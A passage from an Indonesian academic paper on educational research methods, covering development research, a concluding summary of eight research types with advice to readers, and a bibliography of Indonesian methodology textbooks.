Berdasarkan uraian di atas penelitian kualitatif dapat diartikan penelitian yang berlandaskan pada filsafat postpositivisme, digunakan untuk meneliti pada kondisi obyek yang alamiah dimana peneliti sebagai instrumen kunci, pengambilan sampel sumber data menggunakan non-probabilitas sampling, teknik pengumpulan data dengan triangulasi (gabungan), analisis data bersifat induktif atau kualitatif dan hasil penelitian kualitatif lebih menekankan makna daripada generalisasi.

2.8 Penelitian Pengembangan
Metoda penelitian pengembangan atau development research adalah metoda penelitian yang digunakan untuk menghasilkan produk tertentu, dan menguji keefektifan produk tersebut. Penelitian pengembangan dalam bidang pendidikan tentunya beranjak dari identifikasi masalah pendidikan, khususnya pembelajaran di sekolah. Dari identifikasi masalah tersebut dirumuskan upaya untuk memecahkan masalah atau meningkatkan kualitas pembelajaran. Upaya yang dimaksud adalah pengembangan model, pendekatan, metode serta media belajar. Agar dapat menghasilkan produk tertentu digunakan penelitian yang bersifat analisis kebutuhan dan untuk menguji keefektifan produk tersebut supaya dapat berguna dalam dunia pendidikan khususnya pembelajaran. Dalam pelaksanaan penelitian pengembangan digunakan metoda sebagai berikut.
1. Deskriptif, merupakan penelitian awal untuk menghimpun data mengenai kondisi atau masalah yang ada.
2. Evaluatif, merupakan evaluasi proses uji coba pengembangan produk.
3. Eksperimen, merupakan uji keampuhan produk yang dihasilkan.
Menurut Santyasa (2009), penelitian pengembangan dalam rangka peningkatan kualitas pembelajaran memiliki karakteristik sebagai berikut.
1. Masalah yang ingin dipecahkan adalah masalah nyata yang berkaitan dengan upaya inovatif atau penerapan teknologi dalam pembelajaran sebagai pertanggung jawaban profesional dan komitmennya terhadap pemerolehan kualitas pembelajaran.
2. Pengembangan model, pendekatan dan metode pembelajaran serta media belajar yang menunjang keefektifan pencapaian kompetensi siswa.
3. Proses pengembangan produk, validasi yang dilakukan melalui uji ahli, dan uji coba lapangan secara terbatas perlu dilakukan sehingga produk yang dihasilkan bermanfaat untuk peningkatan kualitas pembelajaran. Proses pengembangan, validasi, dan uji coba lapangan tersebut seyogyanya dideskripsikan secara jelas, sehingga dapat dipertanggung jawabkan secara akademik.
4. Proses pengembangan model, pendekatan, modul, metode, dan media pembelajaran perlu didokumentasikan secara rapi dan dilaporkan secara sistematis sesuai dengan kaidah penelitian yang mencerminkan originalitas.



BAB III
PENUTUP

3.1 Simpulan
Kesimpulan yang dihasilkan dari pembahasan pada bab dua sebagai berikut.
1. Penelitian Historis pada prinsipnya adalah penelitian mengenai pengumpulan dan evaluasi data secara sistematik, berkaitan dengan kejadian masa lalu untuk menguji hipotesis yang berhubungan dengan penyebab pengaruh dan perkembangan kejadian yang mungkin membantu dengan memberikan informasi pada kejadian sekarang serta mengantisipasi kejadian yang akan datang.
2. Penelitian Survei pada prinsipnya merupakan penelitian yang mengumpulkan data pada saat tertentu dengan tiga tujuan penting yaitu mendeskripsikan keadaan alami yang hidup saat itu, mengidentifikasi secara terukur keadaan sekarang untuk dibandingkan dan menentukan hubungan sesuatu yang hidup di antara kejadian spesifik.
3. Penelitian Korelasi pada prinsipnya adalah untuk mengetahui ada dan besarnya hubungan antar dua atau lebih variabel bebas. Kontrol terhadap variabel tidak dilakukan dalam penelitian ini, dan variabel diukur secara intensif dalam setting (lingkungan) nyata.
4. Penelitian Kausal Komparatif pada prinsipnya merupakan kegiatan penelitian untuk mencari informasi tentang hubungan antara akibat dengan kemungkinan penyebabnya.
5. Penelitian Eksperimen pada prinsipnya merupakan suatu penelitian yang bertujuan untuk mengungkapkan hubungan sebab akibat dengan cara melibatkan kelompok kontrol disamping kelompok eksperimen untuk mengetahui adanya perbedaan dari kedua kelas tersebut.
6. Penelitian Tindakan Kelas pada prinsipnya adalah sebuah upaya pemecahan permasalah nyata pembelajaran dalam suatu kelas melalui tindakan yang diyakini keampuhannya.
7. Penelitian Kualitatif pada prinsipnya adalah penelitian yang berlandaskan pada filsafat postpositivisme, digunakan untuk meneliti pada kondisi obyek yang alamiah dimana peneliti sebagai instrumen kunci, pengambilan sampel sumber data menggunakan non-probabilitas sampling, teknik pengumpulan data dengan triangulasi (gabungan), analisis data bersifat induktif atau kualitatif dan hasil penelitian kualitatif lebih menekankan makna daripada generalisasi.
8. Penelitian Pengembangan pada prinsipnya merupakan penelitian untuk menghasilkan produk guna meningkatkan kualitas pembelajaran dalam rangka menunjang pencapaian kompetensi siswa.

3.2 Saran
Saran yang perlu kami sampaikan kepada pembaca adalah hendaknya sebelum melakukan penelitian perlu mengetahui dan memahami prinsip-prinsip dari berbagai jenis penelitian. Hal ini berguna agar jenis penelitian yang digunakan tepat sasaran.



DAFTAR PUSTAKA

Ardhana, W. 1987. Bacaan pilihan dalam metode penelitian pendidikan. Jakarta: PPLPTK. Ditjen. Dikti. Depdikbud.

Arikunto, S., Suhardjono & Supardi. 2008. Penelitian tindakan kelas. Jakarta: Bumi Aksara.

Arikunto, S. 2006. Prosedur penelitian (Suatu Pendekatan Praktik). Jakarta: Rineka Cipta.

Arnyana, I B P. 2007. Buku ajar dasar-dasar metodologi penelitian. Denpasar: Bagian Ilmu Faal Fakultas Kedokteran Universitas Udayana.

Daniel, M. 2001. Metode penelitian sosial ekonomi. Jakarta: Bumi Aksara.

Nazir, M. 2005. Metode penelitian. Bogor: Ghalia Indonesia.

Santyasa, I W. 2009. Metode Penelitian Pengembangan dan Teori Pengembangan Modul. Makalah. Disajikan dalam Pelatihan Bagi Para Guru TK, SD, SMP, SMA, dan SMK di Kecamatan Nusa Penida, Kabupaten Klungkung.

Sugiyono. 2008. Metode penelitian pendidikan (Pendekatan Kuantitatif, Kualitatif, dan R&D). Bandung: Alfabeta.

Sukardi. 2004. Metodologi penelitian pendidikan (Kompetensi dan Praktiknya). Jakarta: Bumi Aksara.

Suryabrata, S. 2005. Metodologi penelitian. Jakarta: Raja Grafindo Persada.